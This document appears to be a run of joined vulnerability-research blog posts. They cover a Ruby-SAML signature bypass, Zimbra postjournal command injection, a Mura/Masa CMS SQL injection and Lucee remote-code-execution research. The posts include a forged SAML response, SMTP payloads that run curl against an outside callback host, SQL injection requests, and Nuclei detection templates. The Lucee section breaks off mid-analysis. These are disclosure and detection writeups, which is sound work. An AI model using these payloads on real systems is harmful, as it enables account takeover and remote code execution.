/ - This selects nodes starting from the root of the document. For example, /samlp:Response retrieves the <samlp:Response> root node. Similarly, /samlp:Response/saml:Issuer will access <saml:Issuer> starting from root node <samlp:Response>.
./ - This selects nodes relative to the current node. For instance, if the current context is the <Signature> element, then ./SignedInfo will return the <SignedInfo> node that is a direct child of <Signature>.
// - This selects nodes from anywhere in the document, including all nested nodes. For example, //SignedInfo will select all instances of <SignedInfo>, regardless of how deeply they are nested within the document.
A patch was committed in the Ruby-SAML library (see here) that attempts to tighten security. Previously, the way elements were accessed using // in the XPath selector was too permissive.
Here’s where the issue lies: when extracting the DigestValue from the reference node, the XPath expression //ds:DigestValue is used. This means the first occurrence of a DigestValue element with the DSIG namespace will be selected from anywhere in the document.
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
By exploiting this, an attacker can smuggle another DigestValue into the document inside the samlp:extensions element, which is designed to hold any element with a valid namespace.
The vulnerability allows us to bypass signature validation as follows:
The following example illustrates how this can be exploited in code:
hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))
unless digests_match?(hash, digest_value)
return append_error("Digest mismatch", soft)
end
unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
return append_error("Key validation error", soft)
end
In this case:
canon_hashed_element refers to the Assertion block without the Signature block.encoded_digest_value is our controlled DigestValue smuggled inside samlp:extensions.canon_string refers to the SignedInfo block.Here’s an example SAML Response to perform the SAML Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
legitdigestvalue
</DigestValue>
</samlp:Extensions>
<samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<Reference URI="#_911d8da24301c447b649">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>
KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
[email protected]</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction>
<saml:Audience>https://saml.example.com/entityid</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Attribute Name="id"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
We’ve created nuclei template to ease the process of getting session cookie once you obtain the SAMLResponse of targeted user.
$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code -var SAMLResponse='REDACTED'
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.4
projectdiscovery.io
[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]
We’ve also recorded video poc showcasing SAML authentication bypass on GitLab
Your browser does not support the video tag.
The CVE-2024-45409 vulnerability demonstrates how a subtle flaw in signature verification can have severe consequences, allowing attackers to bypass critical authentication mechanisms. This analysis highlights the importance of strict validation procedures, especially when dealing with security protocols like SAML. While the vulnerability has been patched, it serves as a reminder that even widely adopted libraries can harbor vulnerabilities if not carefully implemented.
Organizations/Applications relying on Ruby-SAML/OmniAuth-SAML for authentication should ensure their libraries are up to date. By understanding the nature of such vulnerabilities, developers and security teams can strengthen their defenses against potential attacks.
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
]]>Note - This is cross post from our work at Projectdiscovery Blog
Zimbra, a widely used email and collaboration platform, recently released a critical security update addressing a severe vulnerability in its postjournal service. This vulnerability, identified as CVE-2024-45519, allows unauthenticated attackers to execute arbitrary commands on affected Zimbra installations. In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually. We also discuss the potential impact and emphasize the importance of timely patch application.
We discovered that Zimbra uses the S3 bucket s3://repo.zimbra.com to host both packages and patches. Fortunately, the bucket had a public listing, which allowed us to locate the necessary patch.
To begin our analysis, we obtained the patched version of the postjournal binary from the latest Zimbra patch package: Zimbra Patch Package
By extracting the .deb file, we retrieved the patched postjournal binary located at ./opt/zimbra/lib/patches/postjournal.
Instead of performing a binary diff, we opted for a quicker approach by reversing the binary using Ghidra. We searched for critical functions such as system and exec* and discovered a function named run_command. This function was referenced by read_maps, prompting us to examine read_maps and trace its references up to the main function.
We established the following method call hierarchy:
main
└── msg_handler(MSG *msg)
└── expand_addrs
└── address_lookup
└── map_address
└── read_addr_maps
└── read_maps
└── run_command
└── execvp
In the patched version, execvp is used, and user input is passed as an array, which prevents direct command injection. Additionally, we noticed the introduction of an is_safe_input function that sanitizes the input before it’s passed to execvp. We examined this function to identify any special characters that might lead to command injection.
int is_safe_input(char *input) {
if (input == NULL || *input == '\0') {
return 0;
}
for (char *c = input; *c != '\0'; c++) {
if (*c == ';' || *c == '&' || *c == '|' || *c == '`' || *c == '$' ||
*c == '(' || *c == ')' || *c == '<' || *c == '>' || *c == '\\' ||
*c == '\'' || *c == '\"' || *c == '\n' || *c == '\r') {
return 0;
}
}
return 1;
}
To understand the vulnerability in the unpatched version, we obtained the original software: Unpatched Zimbra Package
We set up this version on our test server and reversed the postjournal binary. Surprisingly, we found that there were no calls to execvp or a function named run_command. Instead, in the read_maps function, a direct call to popen was made, passing a string constructed with our input without any sanitization.
Inside the main function, when an SMTP connection is initiated, the msg_handler function is called, which in turn processes the MSG object.

The msg_receiver function calls the msg_handler function which extracts the recipient addresses from the RCPT TO:<...> SMTP command which is stored in msg->rcpt_addresses variable. The value of msg->rcpt_addresses is set inside msg_receiver by the function rcpt_to_handler.

Then the expand_addrs function is called with these addresses.

Inside expand_addrs, the address_lookup function is invoked with the same addresses.

Inside the address_lookup function, the map_address function is called.


This leads to read_addr_maps, which eventually calls read_maps.
Within read_maps, a command string is constructed using a format string that includes the user-provided address.


Finally, popen is called with the constructed command string, directly using our input.
Based on our static analysis, we believed the following SMTP message should result in command injection on the postjournal service running on port 10027 (on loopback interface)
EHLO localhost
MAIL FROM: <[email protected]>
RCPT TO: <"aabbb;touch${IFS}/tmp/pwn;"@mail.domain.com>
DATA
aaa
.
To validate our findings, we set a breakpoint in GDB at read_maps and then just before the popen call in read_maps.

We inspected the cmd argument passed to popen:

Notably, the cmd argument is enclosed in double quotes, which would prevent successful command injection using simple shell metacharacters. However, we realised that this could be bypassed using the $() syntax.
We crafted our input to exploit this:

As a result, we successfully executed arbitrary commands, confirming the creation of the /tmp/pwn file.
We tested the exploit directly on the postjournal service via port 10027 using the following SMTP commands:
EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
DATA
Test message
.
Testing the exploit on port 10027 worked as expected. However, when attempting the same exploit over SMTP port 25, it was initially unsuccessful.
After some investigation, we discovered that the postjournal service is not enabled by default. To enable it, we executed:
zmlocalconfig -e postjournal_enabled=true
zmcontrol restart
With postjournal enabled, we reran our exploit against SMTP port 25 and observed successful command execution. Initially, we conducted this test on our own Zimbra server for proof of concept. However, when attempting to exploit the vulnerability remotely over the internet, we faced failures.
Upon reviewing the logs, we noticed that the RCPT address was being rejected due to the smtpd_relay_restrictions setting in postconf, which defaults to:
smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination
This configuration allows sending mail only if the client is authenticated or if the client is within the mynetworks list. Our initial PoC worked internally because we were connecting from the server itself.
We checked the mynetworks setting:
postconf mynetworks
The output revealed:
mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20
Surprisingly, on our instance,the default configuration included a /20 CIDR range of our public IP address in mynetworks. This means that the exploit could still be performed remotely if the postjournal service is enabled and the attacker is within the allowed network range.
This Remote Command Injection vulnerability can be identified by utilizing the below Nuclei template:
id: CVE-2024-45519
info:
name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
author: pdresearch,iamnoooob,parthmalhotra,ice3man543
severity: critical
description: |
SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system’s integrity and confidentiality.
reference:
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
classification:
cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
metadata:
vendor: synacor
product: zimbra_collaboration_suite
shodan-query:
- http.title:"zimbra collaboration suite"
- http.title:"zimbra web client sign in"
- http.favicon.hash:1624375939
fofa-query:
- title="zimbra web client sign in"
- title="zimbra collaboration suite"
tags: cve,cve2024,rce,zimbra
javascript:
- pre-condition: |
isPortOpen(Host,Port);
code: |
let m = require('nuclei/net');
let address = Host+":"+Port;
let conn;
conn= m.Open('tcp', address)
conn.Send('EHLO localhost\r\n');
conn.RecvString()
conn.Send('MAIL FROM: <[email protected]>\r\n');
conn.RecvString()
conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');
conn.RecvString()
conn.Send('DATA\r\n');
conn.RecvString()
conn.Send('aaa\r\n');
conn.RecvString()
conn.Send('.\r\n');
resp = conn.RecvString()
conn.Send('QUIT\r\n');
conn.Close()
resp
args:
Host: ""
Port: 25
oast: ""
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
words:
- "message delivered"
We’ve also created a pull request to include this template in the public nuclei-templates GitHub repository.

Our analysis of CVE-2024-45519 highlights a critical vulnerability in Zimbra’s postjournal service that allows unauthenticated remote command execution. The vulnerability stems from unsanitized user input being passed to popen in the unpatched version, enabling attackers to inject arbitrary commands.
While the patched version introduces input sanitization and replaces popen with execvp, mitigating direct command injection, it’s crucial for administrators to apply the latest patches promptly. Additionally, understanding and correctly configuring the mynetworks parameter is essential, as misconfigurations could expose the service to external exploitation.
We strongly recommend that all Zimbra administrators:
postjournal is disabled if not required.mynetworks is correctly configured to prevent unauthorised access.By staying vigilant and proactive, organisations can protect themselves against such critical vulnerabilities and maintain the security of their email and collaboration platforms.
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
]]>Note - This is cross post from our work at Projectdiscovery Blog
In our last blog post, we delved into the inner workings of Lucee and took a look at the source code of Masa/Mura CMS, and the vastness of the potential attack surface struck us. It became evident that investing time in understanding the code could pay off. After dedicating a week to our exploration, we stumbled upon several entry points for exploitation, including a critical SQL injection flaw that we were able to exploit within Apple’s Book Travel portal.
In this blog post, we aim to share our insights and experiences, detailing how we identified the vulnerability sink, linked it back to its source, and leveraged the SQL injection to achieve Remote Code Execution (RCE).
From playing around with the Masa/Mura CMS, we understood our attack surface - mainly the attack surface accessible on Apple’s environment. Our primary focus was on JSON API, as it exposes some methods that are accessible within Apple’s environment. Any potentially vulnerable sink we find should have its source in JSON API.
We deliberated on optimising our approach to streamline our source code review process. We explored the availability of static analyzers or CFM parsers capable of traversing through code while disregarding sanitizers.
For instance, this is how a safe parameterised SQL query is written via tag-based CFM:
<cfquery>
select * from table where column=<cfqueryparam cfsqltype="cf_sql_varchar" value="#arguments.user_input#">
</cfquery>
And this is how an unsafe SQL query is written:
<cfquery>
select * from table where column=#arguments.user_input#
</cfquery>
It would be great if we could parse and traverse through the code and only print cfquery tags that have unsanitized input regardless of having the cfqueryparam tag inside or not. We came across https://github.com/foundeo/cfmlparser which could let us do this.
Here’s how we targeted SQL injection sink detection:
cfquery .arguments in the codeblock then the input is not parameterized and the query is susceptible to an SQL injection, given no other validation is in place.<cfscript>
targetDirectory = "../mura-cms/";
files = DirectoryList(targetDirectory, true, "query");
for (file in files) {
if (FindNoCase(".cfc", file.name) or FindNoCase(".cfm", file.name)) {
fname = file.directory & "/" & file.name;
if (file.name != "dbUtility.cfc" && file.name != "configBean.cfc" && !FindNoCase("admin", file.directory) && !FindNoCase("dbUpdates", file.directory)) {
filez = new cfmlparser.File(fname);
statements = filez.getStatements();
info = [];
for (s in statements) {
if (s.isTag() && s.getName() == "cfquery" && FindNoCase("arguments", s.getStrippedInnerContent(true, true))) {
WriteOutput("Filename: <b>#fname#</b>");
WriteOutput("<br><br>" & s.getStrippedInnerContent(true, true));
WriteOutput("<br><br><br><br>");
}
}
}
}
}
</cfscript>
We started going through the result with a few things in mind, such as ignoring input like siteid because JSON API validates it in advance.
One of the queries that had two other inputs was this:

Looking at the function which had this query concluded that there’s only one exploitable argument, that is, ContentHistID. The argument columnid is numeric and siteid is validated by default.
<cffunction name="getObjects" output="false">
<cfargument name="columnID" required="yes" type="numeric" >
<cfargument name="ContentHistID" required="yes" type="string" >
<cfargument name="siteID" required="yes" type="string" >
<cfset var rsObjects=""/>
<cfquery attributeCollection="#variables.configBean.getReadOnlyQRYAttrs(name='rsObjects')#">
select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid, tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit from tcontentobjects
inner join tcontent On(
tcontentobjects.contenthistid=tcontent.contenthistid
and tcontentobjects.siteid=tcontent.siteid)
left join tplugindisplayobjects on (tcontentobjects.object='plugin'
and tcontentobjects.objectID=tplugindisplayobjects.objectID)
where tcontent.siteid='#arguments.siteid#'
and tcontent.contenthistid ='#arguments.contentHistID#'
and tcontentobjects.columnid=#arguments.columnID#
order by tcontentobjects.orderno
</cfquery>
<cfreturn rsObjects>
</cffunction>
The function getObjects was called within the dspObjects function in the core/mura/content/contentRendererUtility.cfc component.

The call stack was:
JSON API -> processAsyncObject -> object case: displayregion -> dspobjects() -> getobjects().

By default, Lucee escapes single quotes by adding a backslash before them when passed as input. This can be managed by using a backslash to escape one of the single quotes.
This should trigger the SQL injection:
/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'
However, it didn’t. Upon revisiting the source code, we identified a crucial condition in the dspObjects function. Before calling getObjects, an if condition must be satisfied: the isOnDisplay property must be set to true in the Mura servlet event handler. Initially, we assumed that any property on the event handler could be set simply by passing the property name as a parameter, along with its value. This assumption was based on our debugging session within the codebase.
Our attempts to set the isOnDisplay property in this manner were unsuccessful. It appears that somewhere in the code, this property is being overwritten.
After conducting some grep searches, we stumbled upon the standardSetIsOnDisplayHandler function call within the processAsyncObjects of the JSON API.

It appears that by simply passing the previewID parameter with any value, we can set the previewID property, which in turn will set the isOnDisplay property to true.
/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x
And it worked:

Since this was an error-based SQL injection, we could exploit it quite easily to achieve Remote Code Execution (RCE). Locally, we successfully performed RCE by following these steps:
However, on Apple’s environment, we encountered only an Unhandled Exception error without any query-related information, turning this into a blind SQL injection. Fortunately, the token and user ID are UUIDs, making it relatively straightforward to exfiltrate them. With a bit of scripting, we were able to accomplish this task.

We promptly submitted our report to Apple, including Proof of Concept (PoC) demonstrating logging into an account while theoretically providing them with RCE details.
This SQL injection vulnerability can be identified by utilizing the below Nuclei template:
id: CVE-2024-32640
info:
name: Mura/Masa CMS - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Mura/Masa CMS is vulnerable to SQL Injection.
reference:
- https://blog.projectdiscovery.io/mura-masa-cms-pre-auth-sql-injection/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640
impact: |
Successful exploitation could lead to unauthorized access to sensitive data.
remediation: |
Apply the vendor-supplied patch or update to a secure version.
metadata:
verified: true
max-request: 3
vendor: masacms
product: masacms
shodan-query: 'Generator: Masa CMS'
tags: cve,cve2022,sqli,cms,masa,masacms
http:
- raw:
- |
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
object=displayregion&contenthistid=x\'&previewid=1
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(header, "application/json")'
- 'contains_all(body, "Unhandled Exception")'
- 'contains_all(header,"cfid","cftoken")'
condition: and
We’ve also added template in nuclei-templates GitHub project.
In conclusion, our exploration of Masa/Mura CMS has been a rewarding journey, revealing critical vulnerabilities. The code review process begins by focusing on vulnerable SQL injection code patterns and then utilizing the CFM/CFC parser to search for specific patterns within the codebase, a similar approach to Semgrep. Once potential sinks were identified, we traced them back to the source, in this case, the JSON API of Mura/Masa CMS.
We responsibly disclosed these findings to Apple and the respective Masa and Mura CMS teams.
Apple’s Response:
Apple responded and implemented a fix within 2 hours of the initial report, swiftly addressing the reported issue. As always, working with Apple has been a good collaboration.
Masa CMS:
Masa is an open-source fork of Mura CMS, they were quite transparent and released a new version of Masa CMS with fixes. The 7.4.6, 7.3.13 and 7.2.8 versions have the latest security patches including another critical pre-auth SQL injection which is assigned CVE (CVE-2024-32640).
Mura CMS:
Despite numerous attempts to reach out to the Mura team regarding these vulnerabilities, we received no response across multiple communication channels. With the 90-day standard deadline elapsed, we are now releasing this blog post detailing the reported vulnerability.
By leveraging Nuclei and actively engaging with the open-source community, or by becoming a part of the ProjectDiscovery Cloud Platform, companies can enhance their security measures, proactively address emerging threats, and establish a more secure digital landscape. Security represents a shared endeavor, and by collaborating, we can consistently adapt and confront the ever-evolving challenges posed by cyber threats.
]]>Note - This is cross post from our work at Projectdiscovery Blog
Last year we conducted an in-depth analysis of multiple vulnerabilities within Adobe ColdFusion, we derived valuable insights, one of which revolved around CFM and CFC handling, parsing and execution. We wondered if there are any other CFML Servers. Does this ring a bell? Allow us to introduce Lucee. We’ve previously compromised Lucee’s Admin panel, showcasing a pre-auth Remote Code Execution (RCE) on multiple Apple servers that utilized Lucee as its underlying server.
Our journey led us through multiple attempts, we will delve into our unsuccessful endeavours and, ultimately, our achievement of RCE on Apple’s production server. Notably, our exploitation extended to potentially compromising Lucee’s update server, thereby unveiling a classic supply chain attack to compromise any Lucee installation with malicious updates.
After checking out Lucee’s admin panel in our earlier research, we found that it’s pretty locked down. There are only four CFM files you can get access while being unauthenticated, so there’s not much room for finding bugs there. We need to dig into how Lucee handles requests. We’re looking for specific paths, parameters, headers, and so on, to understand how requests are handled.
After reviewing the web.xml file, We set up the JVM debugger via IntelliJ and added Lucee’s source code. We plan to start going through the code by putting a breakpoint at Request::exe(). This way, we can step through the code bit by bit and see how Lucee handles requests.
public static void exe(PageContext pc, short type, ...) {
try {
...
if (type == TYPE_CFML) pc.executeCFML(pc.getHttpServletRequest().getServletPath(), throwExcpetion, true);
else if (type == TYPE_LUCEE) pc.execute(pc.getHttpServletRequest().getServletPath(), throwExcpetion, true);
else pc.executeRest(pc.getHttpServletRequest().getServletPath(), throwExcpetion);
}
finally {
...
}
}
Another interesting class that deals with Request and Response in Lucee is core/src/main/java/lucee/runtime/net/http/ReqRspUtil.java. In this class, there are functions to work with various aspects of the Request, like setting/getting certain headers, query parameters, and the request body, among other things.
While looking into this class, we noticed a call to JavaConverter.deserialize(). As the name suggests, it is a wrapper on readObject() to handle Java Deserialization.
public static Object getRequestBody(PageContext pc, boolean deserialized, ...) {
HttpServletRequest req = pc.getHttpServletRequest();
MimeType contentType = getContentType(pc);
...
if(deserialized) {
int format = MimeType.toFormat(contentType, -1);
obj = toObject(pc, data, format, cs, obj);
}
...
return defaultValue;
}
public static Object toObject(PageContext pc, byte[] data, int format, ...) {
switch (format) {
...
case UDF.RETURN_FORMAT_JAVA: //5
try {
return JavaConverter.deserialize(new ByteArrayInputStream(data));
}
catch (Exception pe) {
}
break;
}
It appears that when the request’s content/type header is set toapplication/java, we should theoretically end up here, right? Well, we promptly dispatched a URLDNS gadget with the required content type. And the result? Drumroll, please… Nothing. Could it be that the deserialized condition didn’t pass? To investigate, we add a breakpoint on getRequestbody() , only to find out that we don’t even reach this point.
But why? we traced through the function calls and realized that certain configurations must be in place to satisfy the if/else statements to lead us to the sink. Given the complexity of the stack, let’s briefly summarize the key points.
Request:exe() - Determines the type of request and handles it appropriately.
↓
PageContextImpl:executeRest() - Looks for Rest mappings and executes the RestRequestListener.
↓
RestRequestListener() -- Sets the "client" attribute with the value "lucee-rest-1-0" on the request object.
↓
ComponentPageImpl:callRest() - Examines the "client" attribute; if it's "lucee-rest-1-0", proceeds to execute callRest() followed by _callRest().
↓
ComponentPageImpl:_callRest() - If the rest mapping involves an argument, invokes ReqRspUtil.getRequestBody with the argument deserialized: true.
↓
ReqRspUtil.getRequestBody() - If the deserialized argument is true, triggers the toObject() function, which deserializes the request body based on the provided content type.
↓
toObject() - Java Deserialization on the request body if the content type is "application/java".
↓
JavaConverter.deserialize() - The final step where the Java Deserialization process occurs.
To reproduce this RCE, a rest mapping with a function that takes at least one argument must be configured. Deploy below Rest mapping.
component restpath="/java" rest="true" {
remote String function getA(String a) httpmethod="GET" restpath="deser" {
return a;
}
}
Surprisingly, we discovered that Lucee’s critical update server utilizes a REST endpoint - https://update.lucee.org/rest/update/provider/echoGet. This server is pivotal in managing all update requests originating from various Lucee installations.
At the time of finding, this server was vulnerable to our exploit which could have allowed an attacker to compromise the update server, opening the door to a supply chain attack. Acknowledging the severity of the situation, Lucee’s maintainers promptly implemented a hotfix to secure their update server, subsequently releasing an updated version of Lucee with the necessary fixes - CVE-2023-38693. However, our finding did not apply to Apple’s host, as they did not expose any REST mappings. Let’s try again!
After gaining a more in-depth understanding of the codebase, we began selectively examining classes, and one that caught our attention was CFMLExpressionInterpreter. The intriguing nature of this class prompted us to delve into its details. Upon reviewing the class, it became evident that when the constructor’s boolean argument, limited, is set to False (default is True), the method CFMLExpressionInterpreter.interpret(…) becomes capable of executing CFML expressions.
Something like CFMLExpressionInterpreter(false).interpret("function(arg)") should let us execute any function of Lucee.
With this insight, we conducted a thorough search within the codebase to identify instances where CFMLExpressionInterpreter(false) was initialized, and we discovered several occurrences. One in particular was of interest StorageScopeCookie by the name of it seems to be related to cookies.
public abstract class StorageScopeCookie extends StorageScopeImpl {
protected static CFMLExpressionInterpreter evaluator = new CFMLExpressionInterpreter(false);
protected static Struct _loadData(PageContext pc, String cookieName, int type, String strType, Log log) {
String data = (String) pc.cookieScope().get(cookieName, null);
if (data != null) {
try {
Struct sct = (Struct) evaluator.interpret(pc, data);
...
}
...
}
...
}
}
It appears that the StorageScopeCookie._loadData() function accepts the cookie name as one of its arguments, retrieves its value from PageContext, and subsequently passes it to interpret().
After a thorough follow of multiple code flows, these three were standing out and seemed like could be called by the Lucee application.
public final class ClientCookie extends StorageScopeCookie implements Client {
private static final String TYPE = "CLIENT";
public static Client getInstance(String name, PageContext pc, Log log) {
if (!StringUtil.isEmpty(name)) name = StringUtil.toUpperCase(StringUtil.toVariableName(name));
String cookieName = "CF_" + TYPE + "_" + name;
return new ClientCookie(pc, cookieName, _loadData(pc, cookieName, SCOPE_CLIENT, "client", log));
}
}
Upon invoking sessionInvalidate() or sessionRotate(), we successfully accessed ClientCookie.getInstance(), constructing the cookie name as CF_CLIENT_LUCEE.
This implies that any application utilizing sessionInvalidate() or sessionRotate() could potentially expose a Remote Code Execution (RCE) vulnerability via the CF_CLIENT_LUCEE cookie. Where, “Lucee” represents the application context name, which might vary depending on the deployed application.
Our initial search within the Lucee codebase for the usage of these functions in any unauthenticated CFM file or Component (CFC) yielded no results. Expanding our investigation to Mura/Masa CMS, also deployed by Apple on their Lucee server, we identified two calls. One of these calls was unauthenticated under the logout action.
public function logout() output=false {
...
if ( getBean('configBean').getValue(property='rotateSessions',defaultValue='false') ) {
...
sessionInvalidate();
...
Unfortunately, the successful exploitation of this vulnerability depends on the rotateSessions setting being enabled in Mura/Masa, which is, by default, set to false. Consequently, we are unable to trigger this vulnerability on Apple’s deployment.
Feeling a tinge of disappointment, we redirected our focus to the PageContext.scope() flow. After a thorough debugging session, it became apparent that the cookie name in this scenario would be CF_CLIENT_. More crucially, to exploit this code execution, we would need to enable the Client Management setting from the Lucee admin, which is, by default, disabled. Therefore, once again, we find ourselves unable to trigger this vulnerability on Apple’s configuration.
Regardless here’s a PoC for the same:
After various unsuccessful attempts, an alternative idea struck us. What if we could identify more functions that potentially accept user input as a String and could lead to code execution?
Our attention was drawn to VariableInterpreter.parse(,,limited), which initializes CFMLExpressionInterpreter(limited). It occurred to us that if there are calls to VariableInterpreter.parse(,,false), there might be a way for code execution.
Considering this, We identified some vulnerable sinks in the VariableInterpreter class. If any of the following functions pass user input to parse(), it could serve our purpose:
getVariable → VariableInterpreter.parse(,,false)
getVariableEL → VariableInterpreter.parse(,,false)
getVariableAsCollection → VariableInterpreter.parse(,,false)
getVariableReference → VariableInterpreter.parse(,,false)
removeVariable → VariableInterpreter.parse(,,false)
isDefined → VariableInterpreter.parse(,,false)
To narrow down the search, we investigated classes importing the VariableInterpreter class and identified the following suspects:
core/src/main/java/lucee/runtime/PageContextImpl.java
core/src/main/java/lucee/runtime/functions/decision/IsDefined.java#L41
